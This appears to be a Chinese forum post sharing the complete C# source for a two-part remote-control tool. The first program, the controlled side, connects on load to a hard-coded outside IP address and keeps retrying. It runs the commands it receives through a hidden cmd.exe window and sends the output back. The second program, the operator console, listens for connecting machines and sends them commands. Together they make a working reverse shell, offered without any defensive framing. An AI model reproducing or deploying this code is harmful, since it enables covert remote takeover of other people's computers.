被控端
[C#] 纯文本查看 复制代码 using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Net.Sockets;
using System.Net;
using System.Threading;
using System.IO;
namespace 远程CMD
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private Socket socket = null;
private IPAddress IP = IPAddress.Parse("222.77.211.223");
private int Port = 8800;
private IPEndPoint myServer = null;
private bool isConnected = false;
private Thread thread;
private void Form1_Load(object sender, EventArgs e)
{
InitCommand();
}
private void InitCommand()
{
myServer = new IPEndPoint(IP, Port);
socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
while (!isConnected)
{
try
{
socket.Connect(myServer);
isConnected = true;
thread = new Thread(new ThreadStart(target));//监听命令
thread.Start();
}
catch (Exception)
{
isConnected = false;
Thread.Sleep(3000);//3秒后重新连接
}
}
}
string comString;
IPAddress[] arrIPAddresses = Dns.GetHostAddresses(Dns.GetHostName());
private void target()
{
socket.Send(Encoding.UTF8.GetBytes(arrIPAddresses[1].ToString().Replace(":", "").Replace("%", "") + ":md5 \r\n"));
while (true)
{
try
{
comString = ReadFromClient(ref socket);
}
catch (Exception)//连接后又断开引发异常
{
isConnected = false;
InitCommand();
return;
}
string command = GetCommand(comString);
string parameter = GetParameter(comString);
DoCommand(command,parameter);
}
}
private void DoCommand(string command, string parameter)
{
if (command == "cmd" + (arrIPAddresses[1].ToString()).Replace(":", "").Replace("%", ""))
{
string x = RunCmd(parameter);
socket.Send(Encoding.UTF8.GetBytes(x));
}
}
//读取客户端发送的消息
private string ReadFromClient(ref Socket socket)
{
byte[] byteMessage = new byte[1024];
socket.Receive(byteMessage);
string command = System.Text.Encoding.UTF8.GetString(byteMessage, 0, byteMessage.Length);
int n = command.IndexOf("End");
command = command.Substring(0, n);
return command;
}
//获取用户命令
private string GetCommand(string aimString)
{
int n = aimString.IndexOf(" ");
if (n != -1)
{
string com = aimString.Substring(0, n);
return com;
}
else
{
return aimString;
}
}
//获取命令参数
private string GetParameter(string aimString)
{
int n = aimString.IndexOf(" ");
if (n != -1)
{
string para = aimString.Substring(n + 1, aimString.Length - n - 1);
return para;
}
else
{
return " ";
}
}
//运行一个cmd命令
public static string RunCmd(string command)
{
Process p = new Process();
//Process0有一0StartInfo0性,00是ProcessStartInfo0,包括了一些0性和方法,下面我0用到了他的000性:p.StartInfo.WorkingDirectory = "c:\\";
p.StartInfo.FileName = "cmd.exe"; //設定程序名
p.StartInfo.Arguments = "/c " + command; //設定程式執行參數
p.StartInfo.UseShellExecute = false; //關閉Shell的使用
p.StartInfo.RedirectStandardInput = true; //重定向標準輸入
p.StartInfo.RedirectStandardOutput = true; //重定向標準輸出
p.StartInfo.RedirectStandardError = true; //重定向錯誤輸出
p.StartInfo.CreateNoWindow = true; //設置不顯示窗口
p.Start(); //啟動
return p.StandardOutput.ReadToEnd(); //從輸出流取得命令執行結果
}
private void button1_Click(object sender, EventArgs e)
{
// MessageBox.Show(GetMyDriveInfo());
}
}
}
操作端
[C#] 纯文本查看 复制代码 using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.Net;
using System.Threading;
namespace 控制端
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private static byte[] result = new byte[512000];
private static int myProt = 8800; //端口
static Socket serverSocket;
Socket clientSocket;
IPAddress ip = IPAddress.Parse("192.168.1.2");
private delegate void ReadFile(object filePath);
private void Form1_Load(object sender, EventArgs e)
{
serverSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
serverSocket.Bind(new IPEndPoint(ip, myProt)); //绑定IP地址:端口
serverSocket.Listen(100); //设定最多10个排队连接请求
Thread myThread = new Thread(ListenClientConnect);
myThread.Start();
}
private delegate void Updater3(ListView lv, ListViewItem l);
private void ListenClientConnect()
{
while (true)
{
clientSocket = serverSocket.Accept();
Thread receiveThread = new Thread(ReceiveMessage);
receiveThread.Start(clientSocket);
}
}
public void AddListViewItem(ListView lv, ListViewItem l)
{
lv.Items.Add(l);
}
private void ReceiveMessage(object clientSocket)
{
Socket myClientSocket = (Socket)clientSocket;
ListViewItem lv = new ListViewItem();
lv.Text = myClientSocket.RemoteEndPoint.ToString();
ListViewItem.ListViewSubItem s1 = new ListViewItem.ListViewSubItem();
s1.Text = "Null";
ListViewItem.ListViewSubItem s2 = new ListViewItem.ListViewSubItem();
s2.Text = "Null";
lv.SubItems.AddRange(new ListViewItem.ListViewSubItem[] { s1, s2 });
listView8.Invoke(new Updater3(AddListViewItem), new object[] { listView8, lv });
while (true)
{
try
{
int receiveNumber = myClientSocket.Receive(result);
string x = Encoding.UTF8.GetString(result, 0, receiveNumber);
this.Invoke(new ReadFile(ReadFileContent), x);
}
catch
{ }
}
}
private void ReadFileContent(object filePath)
{
this.textBox1.AppendText(filePath.ToString());
}
private void button1_Click_1(object sender, EventArgs e)
{
clientSocket.Send(Encoding.ASCII.GetBytes(textBox2.Text.ToString()));
}
}
}
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